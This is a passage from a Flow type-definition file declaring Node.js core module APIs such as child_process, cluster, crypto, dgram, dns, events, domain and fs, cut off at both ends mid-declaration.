child_process$execFileSyncOpts\n  ): Buffer | string;\n\n  declare function fork(\n    modulePath: string,\n    argsOrOptions?: Array<string> | child_process$forkOpts,\n    options?: child_process$forkOpts\n  ): child_process$ChildProcess;\n\n  declare function spawn(\n    command: string,\n    argsOrOptions?: Array<string> | child_process$spawnOpts,\n    options?: child_process$spawnOpts\n  ): child_process$ChildProcess;\n\n  declare function spawnSync(\n    command: string,\n    argsOrOptions?: Array<string> | child_process$spawnSyncOpts,\n    options?: child_process$spawnSyncOpts\n  ): child_process$spawnSyncRet;\n}\n\ndeclare module 'cluster' {\n  declare type ClusterSettings = {\n    execArgv: Array<string>,\n    exec: string,\n    args: Array<string>,\n    cwd: string,\n    serialization: 'json' | 'advanced',\n    silent: boolean,\n    stdio: Array<any>,\n    uid: number,\n    gid: number,\n    inspectPort: number | (() => number),\n    windowsHide: boolean,\n    ...\n  };\n\n  declare type ClusterSettingsOpt = {\n    execArgv?: Array<string>,\n    exec?: string,\n    args?: Array<string>,\n    cwd?: string,\n    serialization?: 'json' | 'advanced',\n    silent?: boolean,\n    stdio?: Array<any>,\n    uid?: number,\n    gid?: number,\n    inspectPort?: number | (() => number),\n    windowsHide?: boolean,\n    ...\n  };\n\n  declare class Worker extends events$EventEmitter {\n    id: number;\n    process: child_process$ChildProcess;\n    suicide: boolean;\n\n    disconnect(): void;\n    isConnected(): boolean;\n    isDead(): boolean;\n    kill(signal?: string): void;\n    send(\n      message: Object,\n      sendHandleOrCallback?: child_process$Handle | Function,\n      callback?: Function\n    ): boolean;\n  }\n\n  declare class Cluster extends events$EventEmitter {\n    isMaster: boolean;\n    isWorker: boolean;\n    settings: ClusterSettings;\n    worker: Worker;\n    workers: {[id: number]: Worker};\n\n    disconnect(callback?: () => void): void;\n    fork(env?: Object): Worker;\n    setupMaster(settings?: ClusterSettingsOpt): void;\n  }\n\n  declare module.exports: Cluster;\n}\n\ntype crypto$createCredentialsDetails = any; // TODO\n\ndeclare class crypto$Cipher extends stream$Duplex {\n  final(output_encoding: 'latin1' | 'binary' | 'base64' | 'hex'): string;\n  final(output_encoding: void): Buffer;\n  getAuthTag(): Buffer;\n  setAAD(buffer: Buffer): crypto$Cipher;\n  setAuthTag(buffer: Buffer): void;\n  setAutoPadding(auto_padding?: boolean): crypto$Cipher;\n  update(\n    data: string,\n    input_encoding: 'utf8' | 'ascii' | 'latin1' | 'binary',\n    output_encoding: 'latin1' | 'binary' | 'base64' | 'hex'\n  ): string;\n  update(\n    data: string,\n    input_encoding: 'utf8' | 'ascii' | 'latin1' | 'binary',\n    output_encoding: void\n  ): Buffer;\n  update(\n    data: Buffer,\n    input_encoding: void | 'utf8' | 'ascii' | 'latin1' | 'binary',\n    output_encoding: 'latin1' | 'binary' | 'base64' | 'hex'\n  ): string;\n  update(data: Buffer, input_encoding: void, output_encoding: void): Buffer;\n}\n\ntype crypto$Credentials = {...};\n\ntype crypto$DiffieHellman = {\n  computeSecret(\n    other_public_key: string,\n    input_encoding?: string,\n    output_encoding?: string\n  ): any,\n  generateKeys(encoding?: string): any,\n  getGenerator(encoding?: string): any,\n  getPrime(encoding?: string): any,\n  getPrivateKey(encoding?: string): any,\n  getPublicKey(encoding?: string): any,\n  setPrivateKey(private_key: any, encoding?: string): void,\n  setPublicKey(public_key: any, encoding?: string): void,\n  ...\n};\n\ntype crypto$ECDH$Encoding = 'latin1' | 'hex' | 'base64';\ntype crypto$ECDH$Format = 'compressed' | 'uncompressed';\n\ndeclare class crypto$ECDH {\n  computeSecret(other_public_key: Buffer | $TypedArray | DataView): Buffer;\n  computeSecret(\n    other_public_key: string,\n    input_encoding: crypto$ECDH$Encoding\n  ): Buffer;\n  computeSecret(\n    other_public_key: Buffer | $TypedArray | DataView,\n    output_encoding: crypto$ECDH$Encoding\n  ): string;\n  computeSecret(\n    other_public_key: string,\n    input_encoding: crypto$ECDH$Encoding,\n    output_encoding: crypto$ECDH$Encoding\n  ): string;\n  generateKeys(format?: crypto$ECDH$Format): Buffer;\n  generateKeys(\n    encoding: crypto$ECDH$Encoding,\n    format?: crypto$ECDH$Format\n  ): string;\n  getPrivateKey(): Buffer;\n  getPrivateKey(encoding: crypto$ECDH$Encoding): string;\n  getPublicKey(format?: crypto$ECDH$Format): Buffer;\n  getPublicKey(\n    encoding: crypto$ECDH$Encoding,\n    format?: crypto$ECDH$Format\n  ): string;\n  setPrivateKey(private_key: Buffer | $TypedArray | DataView): void;\n  setPrivateKey(private_key: string, encoding: crypto$ECDH$Encoding): void;\n}\n\ndeclare class crypto$Decipher extends stream$Duplex {\n  final(output_encoding: 'latin1' | 'binary' | 'ascii' | 'utf8'): string;\n  final(output_encoding: void): Buffer;\n  getAuthTag(): Buffer;\n  setAAD(buffer: Buffer): void;\n  setAuthTag(buffer: Buffer): void;\n  setAutoPadding(auto_padding?: boolean): crypto$Cipher;\n  update(\n    data: string,\n    input_encoding: 'latin1' | 'binary' | 'base64' | 'hex',\n    output_encoding: 'latin1' | 'binary' | 'ascii' | 'utf8'\n  ): string;\n  update(\n    data: string,\n    input_encoding: 'latin1' | 'binary' | 'base64' | 'hex',\n    output_encoding: void\n  ): Buffer;\n  update(\n    data: Buffer,\n    input_encoding: void,\n    output_encoding: 'latin1' | 'binary' | 'ascii' | 'utf8'\n  ): string;\n  update(data: Buffer, input_encoding: void, output_encoding: void): Buffer;\n}\n\ndeclare class crypto$Hash extends stream$Duplex {\n  digest(encoding: 'hex' | 'latin1' | 'binary' | 'base64'): string;\n  digest(encoding: 'buffer'): Buffer;\n  digest(encoding: void): Buffer;\n  update(\n    data: string | Buffer,\n    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'\n  ): crypto$Hash;\n}\n\ndeclare class crypto$Hmac extends stream$Duplex {\n  digest(encoding: 'hex' | 'latin1' | 'binary' | 'base64'): string;\n  digest(encoding: 'buffer'): Buffer;\n  digest(encoding: void): Buffer;\n  update(\n    data: string | Buffer,\n    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'\n  ): crypto$Hmac;\n}\n\ntype crypto$Sign$private_key =\n  | string\n  | {\n      key: string,\n      passphrase: string,\n      ...\n    };\ndeclare class crypto$Sign extends stream$Writable {\n  static (algorithm: string, options?: writableStreamOptions): crypto$Sign;\n  constructor(algorithm: string, options?: writableStreamOptions): void;\n  sign(\n    private_key: crypto$Sign$private_key,\n    output_format: 'latin1' | 'binary' | 'hex' | 'base64'\n  ): string;\n  sign(private_key: crypto$Sign$private_key, output_format: void): Buffer;\n  update(\n    data: string | Buffer,\n    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'\n  ): crypto$Sign;\n}\n\ndeclare class crypto$Verify extends stream$Writable {\n  static (algorithm: string, options?: writableStreamOptions): crypto$Verify;\n  constructor(algorithm: string, options?: writableStreamOptions): void;\n  update(\n    data: string | Buffer,\n    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'\n  ): crypto$Verify;\n  verify(\n    object: string,\n    signature: string | Buffer | $TypedArray | DataView,\n    signature_format: 'latin1' | 'binary' | 'hex' | 'base64'\n  ): boolean;\n  verify(object: string, signature: Buffer, signature_format: void): boolean;\n}\n\ntype crypto$key =\n  | string\n  | {\n      key: string,\n      passphrase?: string,\n      // TODO: enum type in crypto.constants\n      padding?: string,\n      ...\n    };\n\ndeclare module 'crypto' {\n  declare var DEFAULT_ENCODING: string;\n\n  declare class Sign extends crypto$Sign {}\n  declare class Verify extends crypto$Verify {}\n\n  declare function createCipher(\n    algorithm: string,\n    password: string | Buffer\n  ): crypto$Cipher;\n  declare function createCipheriv(\n    algorithm: string,\n    key: string | Buffer,\n    iv: string | Buffer\n  ): crypto$Cipher;\n  declare function createCredentials(\n    details?: crypto$createCredentialsDetails\n  ): crypto$Credentials;\n  declare function createDecipher(\n    algorithm: string,\n    password: string | Buffer\n  ): crypto$Decipher;\n  declare function createDecipheriv(\n    algorithm: string,\n    key: string | Buffer,\n    iv: string | Buffer\n  ): crypto$Decipher;\n  declare function createDiffieHellman(\n    prime_length: number\n  ): crypto$DiffieHellman;\n  declare function createDiffieHellman(\n    prime: number,\n    encoding?: string\n  ): crypto$DiffieHellman;\n  declare function createECDH(curveName: string): crypto$ECDH;\n  declare function createHash(algorithm: string): crypto$Hash;\n  declare function createHmac(\n    algorithm: string,\n    key: string | Buffer\n  ): crypto$Hmac;\n  declare function createSign(algorithm: string): crypto$Sign;\n  declare function createVerify(algorithm: string): crypto$Verify;\n  declare function getCiphers(): Array<string>;\n  declare function getCurves(): Array<string>;\n  declare function getDiffieHellman(group_name: string): crypto$DiffieHellman;\n  declare function getHashes(): Array<string>;\n  declare function pbkdf2(\n    password: string | Buffer,\n    salt: string | Buffer,\n    iterations: number,\n    keylen: number,\n    digest: string,\n    callback: (err: ?Error, derivedKey: Buffer) => void\n  ): void;\n  declare function pbkdf2(\n    password: string | Buffer,\n    salt: string | Buffer,\n    iterations: number,\n    keylen: number,\n    callback: (err: ?Error, derivedKey: Buffer) => void\n  ): void;\n  declare function pbkdf2Sync(\n    password: string | Buffer,\n    salt: string | Buffer,\n    iterations: number,\n    keylen: number,\n    digest?: string\n  ): Buffer;\n  declare function scrypt(\n    password: string | Buffer,\n    salt: string | Buffer,\n    keylen: number,\n    options:\n      | {|N?: number, r?: number, p?: number, maxmem?: number|}\n      | {|\n          cost?: number,\n          blockSize?: number,\n          parallelization?: number,\n          maxmem?: number,\n        |},\n    callback: (err: ?Error, derivedKey: Buffer) => void\n  ): void;\n  declare function scrypt(\n    password: string | Buffer,\n    salt: string | Buffer,\n    keylen: number,\n    callback: (err: ?Error, derivedKey: Buffer) => void\n  ): void;\n  declare function scryptSync(\n    password: string | Buffer,\n    salt: string | Buffer,\n    keylen: number,\n    options?:\n      | {|N?: number, r?: number, p?: number, maxmem?: number|}\n      | {|\n          cost?: number,\n          blockSize?: number,\n          parallelization?: number,\n          maxmem?: number,\n        |}\n  ): Buffer;\n  declare function privateDecrypt(\n    private_key: crypto$key,\n    buffer: Buffer\n  ): Buffer;\n  declare function privateEncrypt(\n    private_key: crypto$key,\n    buffer: Buffer\n  ): Buffer;\n  declare function publicDecrypt(key: crypto$key, buffer: Buffer): Buffer;\n  declare function publicEncrypt(key: crypto$key, buffer: Buffer): Buffer;\n  // `UNUSED` argument strictly enforces arity to enable overloading this\n  // function with 1-arg and 2-arg variants.\n  declare function pseudoRandomBytes(size: number, UNUSED: void): Buffer;\n  declare function pseudoRandomBytes(\n    size: number,\n    callback: (err: ?Error, buffer: Buffer) => void\n  ): void;\n  // `UNUSED` argument strictly enforces arity to enable overloading this\n  // function with 1-arg and 2-arg variants.\n  declare function randomBytes(size: number, UNUSED: void): Buffer;\n  declare function randomBytes(\n    size: number,\n    callback: (err: ?Error, buffer: Buffer) => void\n  ): void;\n  declare function randomFillSync(\n    buffer: Buffer | $TypedArray | DataView\n  ): void;\n  declare function randomFillSync(\n    buffer: Buffer | $TypedArray | DataView,\n    offset: number\n  ): void;\n  declare function randomFillSync(\n    buffer: Buffer | $TypedArray | DataView,\n    offset: number,\n    size: number\n  ): void;\n  declare function randomFill(\n    buffer: Buffer | $TypedArray | DataView,\n    callback: (err: ?Error, buffer: Buffer) => void\n  ): void;\n  declare function randomFill(\n    buffer: Buffer | $TypedArray | DataView,\n    offset: number,\n    callback: (err: ?Error, buffer: Buffer) => void\n  ): void;\n  declare function randomFill(\n    buffer: Buffer | $TypedArray | DataView,\n    offset: number,\n    size: number,\n    callback: (err: ?Error, buffer: Buffer) => void\n  ): void;\n  declare function randomUUID(\n    options?: $ReadOnly<{|disableEntropyCache?: boolean|}>\n  ): string;\n  declare function timingSafeEqual(\n    a: Buffer | $TypedArray | DataView,\n    b: Buffer | $TypedArray | DataView\n  ): boolean;\n}\n\ntype net$Socket$address = {\n  address: string,\n  family: string,\n  port: number,\n  ...\n};\ntype dgram$Socket$rinfo = {\n  address: string,\n  family: 'IPv4' | 'IPv6',\n  port: number,\n  size: number,\n  ...\n};\n\ndeclare class dgram$Socket extends events$EventEmitter {\n  addMembership(multicastAddress: string, multicastInterface?: string): void;\n  address(): net$Socket$address;\n  bind(port?: number, address?: string, callback?: () => void): void;\n  close(callback?: () => void): void;\n  dropMembership(multicastAddress: string, multicastInterface?: string): void;\n  ref(): void;\n  send(\n    msg: Buffer,\n    port: number,\n    address: string,\n    callback?: (err: ?Error, bytes: any) => mixed\n  ): void;\n  send(\n    msg: Buffer,\n    offset: number,\n    length: number,\n    port: number,\n    address: string,\n    callback?: (err: ?Error, bytes: any) => mixed\n  ): void;\n  setBroadcast(flag: boolean): void;\n  setMulticastLoopback(flag: boolean): void;\n  setMulticastTTL(ttl: number): void;\n  setTTL(ttl: number): void;\n  unref(): void;\n}\n\ndeclare module 'dgram' {\n  declare function createSocket(\n    options: string | {type: string, ...},\n    callback?: () => void\n  ): dgram$Socket;\n}\n\ndeclare module 'dns' {\n  declare var ADDRGETNETWORKPARAMS: string;\n  declare var BADFAMILY: string;\n  declare var BADFLAGS: string;\n  declare var BADHINTS: string;\n  declare var BADQUERY: string;\n  declare var BADNAME: string;\n  declare var BADRESP: string;\n  declare var BADSTR: string;\n  declare var CANCELLED: string;\n  declare var CONNREFUSED: string;\n  declare var DESTRUCTION: string;\n  declare var EOF: string;\n  declare var FILE: string;\n  declare var FORMER: string;\n  declare var LOADIPHLPAPI: string;\n  declare var NODATA: string;\n  declare var NOMEM: string;\n  declare var NONAME: string;\n  declare var NOTFOUND: string;\n  declare var NOTIMP: string;\n  declare var NOTINITIALIZED: string;\n  declare var REFUSED: string;\n  declare var SERVFAIL: string;\n  declare var TIMEOUT: string;\n  declare var ADDRCONFIG: number;\n  declare var V4MAPPED: number;\n\n  declare type LookupOptions = {\n    family?: number,\n    hints?: number,\n    verbatim?: boolean,\n    all?: boolean,\n    ...\n  };\n\n  declare function lookup(\n    domain: string,\n    options: number | LookupOptions,\n    callback: (err: ?Error, address: string, family: number) => void\n  ): void;\n  declare function lookup(\n    domain: string,\n    callback: (err: ?Error, address: string, family: number) => void\n  ): void;\n\n  declare function resolve(\n    domain: string,\n    rrtype?: string,\n    callback?: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function resolve4(\n    domain: string,\n    callback: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function resolve6(\n    domain: string,\n    callback: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function resolveCname(\n    domain: string,\n    callback: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function resolveMx(\n    domain: string,\n    callback: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function resolveNs(\n    domain: string,\n    callback: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function resolveSrv(\n    domain: string,\n    callback: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function resolveTxt(\n    domain: string,\n    callback: (err: ?Error, addresses: Array<any>) => void\n  ): void;\n\n  declare function reverse(\n    ip: string,\n    callback: (err: ?Error, domains: Array<any>) => void\n  ): void;\n  declare function timingSafeEqual(\n    a: Buffer | $TypedArray | DataView,\n    b: Buffer | $TypedArray | DataView\n  ): boolean;\n}\n\ndeclare class events$EventEmitter {\n  // deprecated\n  static listenerCount(emitter: events$EventEmitter, event: string): number;\n  static defaultMaxListeners: number;\n\n  addListener(event: string, listener: Function): this;\n  emit(event: string, ...args: Array<any>): boolean;\n  eventNames(): Array<string>;\n  listeners(event: string): Array<Function>;\n  listenerCount(event: string): number;\n  on(event: string, listener: Function): this;\n  once(event: string, listener: Function): this;\n  prependListener(event: string, listener: Function): this;\n  prependOnceListener(event: string, listener: Function): this;\n  removeAllListeners(event?: string): this;\n  removeListener(event: string, listener: Function): this;\n  off(event: string, listener: Function): this;\n  setMaxListeners(n: number): this;\n  getMaxListeners(): number;\n  rawListeners(event: string): Array<Function>;\n}\n\ndeclare module 'events' {\n  // TODO: See the comment above the events$EventEmitter declaration\n  declare class EventEmitter extends events$EventEmitter {\n    static EventEmitter: typeof EventEmitter;\n  }\n\n  declare module.exports: typeof EventEmitter;\n}\n\ndeclare class domain$Domain extends events$EventEmitter {\n  members: Array<any>;\n\n  add(emitter: events$EventEmitter): void;\n  bind(callback: Function): Function;\n  dispose(): void;\n  enter(): void;\n  exit(): void;\n  intercept(callback: Function): Function;\n  remove(emitter: events$EventEmitter): void;\n  run(fn: Function): void;\n}\n\ndeclare module 'domain' {\n  declare function create(): domain$Domain;\n}\n\ndeclare module 'fs' {\n  declare class Stats {\n    dev: number;\n    ino: number;\n    mode: number;\n    nlink: number;\n    uid: number;\n    gid: number;\n    rdev: number;\n    size: number;\n    blksize: number;\n    blocks: number;\n    atimeMs: number;\n    mtimeMs: number;\n    ctimeMs: number;\n    birthtimeMs: number;\n    atime: Date;\n    mtime: Date;\n    ctime: Date;\n    birthtime: Date;\n\n    isFile(): boolean;\n    isDirectory(): boolean;\n    isBlockDevice(): boolean;\n    isCharacterDevice(): boolean;\n    isSymbolicLink(): boolean;\n    isFIFO(): boolean;\n    isSocket(): boolean;\n  }\n\n  declare type PathLike = string | Buffer | URL;\n\n  declare class FSWatcher extends events$EventEmitter {\n    close(): void;\n  }\n\n  declare class ReadStream extends stream$Readable {\n    close(): void;\n  }\n\n  declare class WriteStream extends stream$Writable {\n    close(): void;\n    bytesWritten: number;\n  }\n\n  declare class Dirent {\n    name: string | Buffer;\n\n    isBlockDevice(): boolean;\n    isCharacterDevice(): boolean;\n    isDirectory(): boolean;\n    isFIFO(): boolean;\n    isFile(): boolean;\n    isSocket(): boolean;\n    isSymbolicLink(): boolean;\n  }\n\n  declare function rename(\n    oldPath: string,\n    newPath: string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function renameSync(oldPath: string, newPath: string): void;\n  declare function ftruncate(\n    fd: number,\n    len: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function ftruncateSync(fd: number, len: number): void;\n  declare function truncate(\n    path: string,\n    len: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function truncateSync(path: string, len: number): void;\n  declare function chown(\n    path: string,\n    uid: number,\n    gid: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function chownSync(path: string, uid: number, gid: number): void;\n  declare function fchown(\n    fd: number,\n    uid: number,\n    gid: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function fchownSync(fd: number, uid: number, gid: number): void;\n  declare function lchown(\n    path: string,\n    uid: number,\n    gid: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function lchownSync(path: string, uid: number, gid: number): void;\n  declare function chmod(\n    path: string,\n    mode: number | string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function chmodSync(path: string, mode: number | string): void;\n  declare function fchmod(\n    fd: number,\n    mode: number | string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function fchmodSync(fd: number, mode: number | string): void;\n  declare function lchmod(\n    path: string,\n    mode: number | string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function lchmodSync(path: string, mode: number | string): void;\n  declare function stat(\n    path: string,\n    callback?: (err: ?ErrnoError, stats: Stats) => any\n  ): void;\n  declare function statSync(path: string): Stats;\n  declare function fstat(\n    fd: number,\n    callback?: (err: ?ErrnoError, stats: Stats) => any\n  ): void;\n  declare function fstatSync(fd: number): Stats;\n  declare function lstat(\n    path: string,\n    callback?: (err: ?ErrnoError, stats: Stats) => any\n  ): void;\n  declare function lstatSync(path: string): Stats;\n  declare function link(\n    srcpath: string,\n    dstpath: string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function linkSync(srcpath: string, dstpath: string): void;\n  declare function symlink(\n    srcpath: string,\n    dtspath: string,\n    type?: string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function symlinkSync(\n    srcpath: string,\n    dstpath: string,\n    type?: string\n  ): void;\n  declare function readlink(\n    path: string,\n    callback: (err: ?ErrnoError, linkString: string) => void\n  ): void;\n  declare function readlinkSync(path: string): string;\n  declare function realpath(\n    path: string,\n    cache?: Object,\n    callback?: (err: ?ErrnoError, resolvedPath: string) => void\n  ): void;\n  declare function realpathSync(path: string, cache?: Object): string;\n  declare function unlink(\n    path: string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function unlinkSync(path: string): void;\n\n  declare type RmDirOptions = {|\n    /**\n     * If an `EBUSY`, `EMFILE`, `ENFILE`, `ENOTEMPTY`, or\n     * `EPERM` error is encountered, Node.js will retry the operation with a linear\n     * backoff wait of `retryDelay` ms longer on each try. This option represents the\n     * number of retries. This option is ignored if the `recursive` option is not\n     * `true`.\n     * @default 0\n     */\n    maxRetries?: number | void,\n    /**\n     * @deprecated since v14.14.0 In future versions of Node.js and will trigger a warning\n     * `fs.rmdir(path, { recursive: true })` will throw if `path` does not exist or is a file.\n     * Use `fs.rm(path, { recursive: true, force: true })` instead.\n     *\n     * If `true`, perform a recursive directory removal. In\n     * recursive mode soperations are retried on failure.\n     * @default false\n     */\n    recursive?: boolean | void,\n    /**\n     * The amount of time in milliseconds to wait between retries.\n     * This option is ignored if the `recursive` option is not `true`.\n     * @default 100\n     */\n    retryDelay?: number | void,\n  |};\n\n  declare function rmdir(\n    path: PathLike,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function rmdir(\n    path: PathLike,\n    options: RmDirOptions,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function rmdirSync(path: PathLike, options?: RmDirOptions): void;\n\n  declare type RmOptions = {|\n    /**\n     * When `true`, exceptions will be ignored if `path` does not exist.\n     * @default false\n     */\n    force?: boolean | void,\n    /**\n     * If an `EBUSY`, `EMFILE`, `ENFILE`, `ENOTEMPTY`, or\n     * `EPERM` error is encountered, Node.js will retry the operation with a linear\n     * backoff wait of `retryDelay` ms longer on each try. This option represents the\n     * number of retries. This option is ignored if the `recursive` option is not\n     * `true`.\n     * @default 0\n     */\n    maxRetries?: number | void,\n    /**\n     * If `true`, perform a recursive directory removal. In\n     * recursive mode, operations are retried on failure.\n     * @default false\n     */\n    recursive?: boolean | void,\n    /**\n     * The amount of time in milliseconds to wait between retries.\n     * This option is ignored if the `recursive` option is not `true`.\n     * @default 100\n     */\n    retryDelay?: number | void,\n  |};\n\n  /**\n   * Asynchronously removes files and directories (modeled on the standard POSIX `rm`utility). No arguments other than a possible exception are given to the\n   * completion callback.\n   * @since v14.14.0\n   */\n  declare function rm(\n    path: PathLike,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function rm(\n    path: PathLike,\n    options: RmOptions,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n\n  /**\n   * Synchronously removes files and directories (modeled on the standard POSIX `rm`utility). Returns `undefined`.\n   * @since v14.14.0\n   */\n  declare function rmSync(path: PathLike, options?: RmOptions): void;\n\n  declare function mkdir(\n    path: string,\n    mode?:\n      | number\n      | {\n          recursive?: boolean,\n          mode?: number,\n          ...\n        },\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function mkdirSync(\n    path: string,\n    mode?:\n      | number\n      | {\n          recursive?: boolean,\n          mode?: number,\n          ...\n        }\n  ): void;\n  declare function mkdtemp(\n    prefix: string,\n    callback: (err: ?ErrnoError, folderPath: string) => void\n  ): void;\n  declare function mkdtempSync(prefix: string): string;\n  declare function readdir(\n    path: string,\n    options: string | {encoding?: string, withFileTypes?: false, ...},\n    callback: (err: ?ErrnoError, files: Array<string>) => void\n  ): void;\n  declare function readdir(\n    path: string,\n    options: {encoding?: string, withFileTypes: true, ...},\n    callback: (err: ?ErrnoError, files: Array<Dirent>) => void\n  ): void;\n  declare function readdir(\n    path: string,\n    callback: (err: ?ErrnoError, files: Array<string>) => void\n  ): void;\n  declare function readdirSync(\n    path: string,\n    options?: string | {encoding?: string, withFileTypes?: false, ...}\n  ): Array<string>;\n  declare function readdirSync(\n    path: string,\n    options?: string | {encoding?: string, withFileTypes: true, ...}\n  ): Array<Dirent>;\n  declare function close(\n    fd: number,\n    callback: (err: ?ErrnoError) => void\n  ): void;\n  declare function closeSync(fd: number): void;\n  declare function open(\n    path: string | Buffer | URL,\n    flags: string | number,\n    mode: number,\n    callback: (err: ?ErrnoError, fd: number) => void\n  ): void;\n  declare function open(\n    path: string | Buffer | URL,\n    flags: string | number,\n    callback: (err: ?ErrnoError, fd: number) => void\n  ): void;\n  declare function openSync(\n    path: string | Buffer,\n    flags: string | number,\n    mode?: number\n  ): number;\n  declare function utimes(\n    path: string,\n    atime: number,\n    mtime: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function utimesSync(path: string, atime: number, mtime: number): void;\n  declare function futimes(\n    fd: number,\n    atime: number,\n    mtime: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function futimesSync(fd: number, atime: number, mtime: number): void;\n  declare function fsync(\n    fd: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function fsyncSync(fd: number): void;\n  declare function write(\n    fd: number,\n    buffer: Buffer,\n    offset: number,\n    length: number,\n    position: number,\n    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void\n  ): void;\n  declare function write(\n    fd: number,\n    buffer: Buffer,\n    offset: number,\n    length: number,\n    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void\n  ): void;\n  declare function write(\n    fd: number,\n    buffer: Buffer,\n    offset: number,\n    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void\n  ): void;\n  declare function write(\n    fd: number,\n    buffer: Buffer,\n    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void\n  ): void;\n  declare function write(\n    fd: number,\n    data: string,\n    position: number,\n    encoding: string,\n    callback: (err: ?ErrnoError, write: number, str: string) => void\n  ): void;\n  declare function write(\n    fd: number,\n    data: string,\n    position: number,\n    callback: (err: ?ErrnoError, write: number, str: string) => void\n  ): void;\n  declare function write(\n    fd: number,\n    data: string,\n    callback: (err: ?ErrnoError, write: number, str: string) => void\n  ): void;\n  declare function writeSync(\n    fd: number,\n    buffer: Buffer,\n    offset: number,\n    length: number,\n    position: number\n  ): number;\n  declare function writeSync(\n    fd: number,\n    buffer: Buffer,\n    offset: number,\n    length: number\n  ): number;\n  declare function writeSync(\n    fd: number,\n    buffer: Buffer,\n    offset?: number\n  ): number;\n  declare function writeSync(\n    fd: number,\n    str: string,\n    position: number,\n    encoding: string\n  ): number;\n  declare function writeSync(\n    fd: number,\n    str: string,\n    position?: number\n  ): number;\n  declare function read(\n    fd: number,\n    buffer: Buffer,\n    offset: number,\n    length: number,\n    position: ?number,\n    callback: (err: ?ErrnoError, bytesRead: number, buffer: Buffer) => void\n  ): void;\n  declare function readSync(\n    fd: number,\n    buffer: Buffer,\n    offset: number,\n    length: number,\n    position: number\n  ): number;\n  declare function readFile(\n    path: string | Buffer | URL | number,\n    callback: (err: ?ErrnoError, data: Buffer) => void\n  ): void;\n  declare function readFile(\n    path: string | Buffer | URL | number,\n    encoding: string,\n    callback: (err: ?ErrnoError, data: string) => void\n  ): void;\n  declare function readFile(\n    path: string | Buffer | URL | number,\n    options: {\n      encoding: string,\n      flag?: string,\n      ...\n    },\n    callback: (err: ?ErrnoError, data: string) => void\n  ): void;\n  declare function readFile(\n    path: string | Buffer | URL | number,\n    options: {encoding?: null | void, flag?: string, ...},\n    callback: (err: ?ErrnoError, data: Buffer) => void\n  ): void;\n  declare function readFileSync(path: string | Buffer | URL | number): Buffer;\n  declare function readFileSync(\n    path: string | Buffer | URL | number,\n    encoding: string\n  ): string;\n  declare function readFileSync(\n    path: string | Buffer | URL | number,\n    options: {\n      encoding: string,\n      flag?: string,\n      ...\n    }\n  ): string;\n  declare function readFileSync(\n    path: string | Buffer | URL | number,\n    options: {\n      encoding?: void,\n      flag?: string,\n      ...\n    }\n  ): Buffer;\n  declare function writeFile(\n    filename: string | Buffer | number,\n    data: Buffer | string,\n    options:\n      | string\n      | {\n          encoding?: ?string,\n          mode?: number,\n          flag?: string,\n          ...\n        },\n    callback: (err: ?ErrnoError) => void\n  ): void;\n  declare function writeFile(\n    filename: string | Buffer | number,\n    data: Buffer | string,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function writeFileSync(\n    filename: string,\n    data: Buffer | string,\n    options?:\n      | string\n      | {\n          encoding?: ?string,\n          mode?: number,\n          flag?: string,\n          ...\n        }\n  ): void;\n  declare function appendFile(\n    filename: string | Buffer | number,\n    data: string | Buffer,\n    options:\n      | string\n      | {\n          encoding?: ?string,\n          mode?: number,\n          flag?: string,\n          ...\n        },\n    callback: (err: ?ErrnoError) => void\n  ): void;\n  declare function appendFile(\n    filename: string | Buffer | number,\n    data: string | Buffer,\n    callback: (err: ?ErrnoError) => void\n  ): void;\n  declare function appendFileSync(\n    filename: string | Buffer | number,\n    data: string | Buffer,\n    options?:\n      | string\n      | {\n          encoding?: ?string,\n          mode?: number,\n          flag?: string,\n          ...\n        }\n  ): void;\n  declare function watchFile(\n    filename: string,\n    options?: Object,\n    listener?: (curr: Stats, prev: Stats) => void\n  ): void;\n  declare function unwatchFile(\n    filename: string,\n    listener?: (curr: Stats, prev: Stats) => void\n  ): void;\n  declare function watch(\n    filename: string,\n    options?: Object,\n    listener?: (event: string, filename: string) => void\n  ): FSWatcher;\n  declare function exists(\n    path: string,\n    callback?: (exists: boolean) => void\n  ): void;\n  declare function existsSync(path: string): boolean;\n  declare function access(\n    path: string,\n    mode?: number,\n    callback?: (err: ?ErrnoError) => void\n  ): void;\n  declare function accessSync(path: string, mode?: number): void;\n  declare function createReadStream(path: string, options?: Object): ReadStream;\n  declare function createWriteStream(\n    path: string,\n    options?: Object\n  ): WriteStream;\n  declare function fdatasync(\n    fd: 